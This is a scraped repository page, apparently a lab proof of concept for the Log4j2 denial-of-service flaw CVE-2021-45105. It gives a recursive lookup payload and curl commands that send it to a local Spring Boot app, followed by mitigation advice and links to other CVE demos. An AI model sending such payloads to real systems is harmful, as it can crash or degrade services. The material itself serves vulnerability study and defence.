Log4j_dos_CVE-2021-45105

Overview

Log4j2 DOS (CVE-2021-45105)

Poc

${${::-${::-$${::-$}}}}

Versions Affected: all versions from 2.0-beta9 to 2.16.0

This application is based on Spring Boot web application vulnerable to CVE-2021-45105

It uses Log4j 2.16.0

Running the application

Run it:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Exploitation steps

  • Then, trigger the exploit using:
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Notice the output showing Infinite loop, however in testing did not find out that this DOS to be resource consuming as this infinite loop identified by program and error out:

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

Mitigation :

Java 8 (or later) users should upgrade to release 2.17.0.

Alternatively, this can be mitigated in configuration:

In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC). Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

Reference

https://issues.apache.org/jira/browse/LOG4J2-3230

You might also like...

log4j2 Log4Shell CVE-2021-44228 proof of concept

log4j2 Log4Shell CVE-2021-44228 proof of concept

Log4Shell CVE-2021-44228 proof of concept Requirement Java (JDK/JRE) 8 or later version curl exploitable Simple spring boot application that serves a

Dec 21, 2021

JavaGuru - Java 1 - Tuesday (Autumn, 2021)

JavaGuru: Групповой Проект Java 1 Онлайн - Осень - Вторник - 2021 Привет! 👋 Данный документ содержит основную информацию о курсе. Предварительные тре

Jan 10, 2022

Repositório com conteúdo da disciplina Linguagem de Programação 2 de 2021.2 do IMD/UFRN

IMD0040 - LP2 Repositório contendo informações e arquivos da disciplina de Linguagem de Programação 2 (IMD0040) do IMD/UFRN ministrada pelo Prof. Gust

Dec 22, 2022

Programación de Servicios y Procesos - 03 Programación de comunicaciones en red. 2DAM. Curso 2021-2022

Programación de Servicios y Procesos - 03 Programación de comunicaciones en red. 2DAM. Curso 2021-2022

Programación de Servicios y Procesos - 03 Programación de comunicaciones en red Tema 03. Programación de comunicaciones en red. Curso 2021/2022. Conte

Dec 27, 2022

Entornos de Desarrollo - 05 Clean Code y TDD: Pruebas de Software. 1DAM. Curso 2021-2022.

Entornos de Desarrollo - 05 Clean Code y TDD: Pruebas de Software. 1DAM. Curso 2021-2022.

Entornos de Desarrollo - 04 Clean Code y TDD: Pruebas de Software Tema 05. Clean Code y TDD: Pruebas de Software. Curso 2021/2022. Contenidos Introduc

Nov 3, 2022

Programación - 03 Aplicación de Estructuras de Almacenamiento. 1DAM. Ejercicios realizados por el alumnado. Curso 2021-2022

Programación - 03 Aplicación de Estructuras de Almacenamiento. 1DAM. Ejercicios realizados por el alumnado. Curso 2021-2022

Programacion-03-Ejercicios-2021-2022 Programación - 03 Aplicación de Estructuras de Almacenamiento. 1DAM. Ejercicios realizados por el alumnado. Curso

Dec 27, 2022

Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability CVE-2021-22053

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability Severity High Vendor Spring by VMware Description Application

Dec 16, 2022

Small example repo for looking into log4j CVE-2021-44228

log4j CVE-2021-44228 Lame useless repo to look into log4j CVE-2021-44228. Setup The repository contains a .idea/ folder which is a IntelliJ IDEA proje

Dec 13, 2022

Scan and patch tool for CVE-2021-44228 and related log4j concerns.

A Log4J2 CVE-2021-44228 Vulnerability Scanner and Patcher Links to download the latest version: Linux x64 with glibc2.17+ (RHEL7+) Windows & all other

Jun 1, 2022
Owner
cckuailong
勇气,友情,爱心,知识,诚实,纯真,希望,光明
cckuailong
CVE-2021-2109 && Weblogic Server RCE via JNDI

Description Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected

Al1ex 29 Nov 21, 2022
2021 Q2 全国联动黑客松大赛

2021Q2 Rebase Hackathon 黑客松获奖信息 一等奖 #12 Commitbale 0x44d04eF6E4d937A4AaA43e015f2f10c6380Edf7d tx: https://etherscan.io/tx/0x01534cd7c72fec380512830c36

Rebase Network 21 Nov 19, 2022
openam-CVE-2021-35464 tomcat 执行命令回显

openam CVE-2021-35464 tomcat 执行命令回显. 项目基于 ysoserial 和 Java-Rce-Echo 构建项目需要在依赖中加入ysoserial.jar和jato-14.6.3.jar POST /OpenAM/ccversion/Version HTTP/1.1

Y4er 89 Dec 15, 2022
Source for the SpringOne 2021 Knative + Tekton lab

springone-2021-knative-tekton Source for the SpringOne 2021 Knative + Tekton lab See the slides for the main class content; in addition, if you want t

Evan Anderson 4 Apr 25, 2022
Programación de Servicios y Procesos - 01 Programación Multiproceso. 2DAM. Curso 2021-2022

Programación de Servicios y Procesos - 01 Programación Multiproceso Tema 01 Programación Multiproceso. Curso 2021/2022. Contenidos Concurrencia y Para

José Luis González Sánchez 15 Dec 27, 2022
source code of the live coding demo for "Building resilient and scalable API backends with Apache Pulsar and Spring Reactive" talk held at ApacheCon@Home 2021

reactive-iot-backend The is the source code of the live coding demo for "Building resilient and scalable API backends with Apache Pulsar and Spring Re

Lari Hotari 4 Jan 13, 2022
Repository for FIRST Tech Challenge team 3916 Apex Robotics for the 2021-2022 game year (Freight Frenzy)

FTC Team 3916 - Apex Robotics This is our repo for the 2020-2021 game year - Ultimate Goal Installation Clone this repo. You can do this through the w

Aman Anas 6 Nov 4, 2021
Concurrent Programming - 2021/2022 - Fall - LI51D - LI51N

s2122i-li51d-li51n Concurrent Programming - 2021/2022 - Fall - LI51D - LI51N See docs for documentation resources. See jvm for JVM-based code examples

null 16 Apr 8, 2022
Object Oriented Programming Course - Fall Semester 2021

Object Oriented Programming Course (Fall Semester 2021) This repository will store the code we use during the lectures and the exercises sessions of t

Andres R. Masegosa 14 Jul 10, 2022
Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP

CVE-2021-44228-Demo 利用 CVE-2021-44228,通过 RMI 和 LDAP 两种方式远程注入代码的示例。 Exploit class from RMI Server loaded Hello, ${jndi:rmi://127.0.0.1:1099/exploit} Ex

Zhuang Ma 2 Dec 14, 2021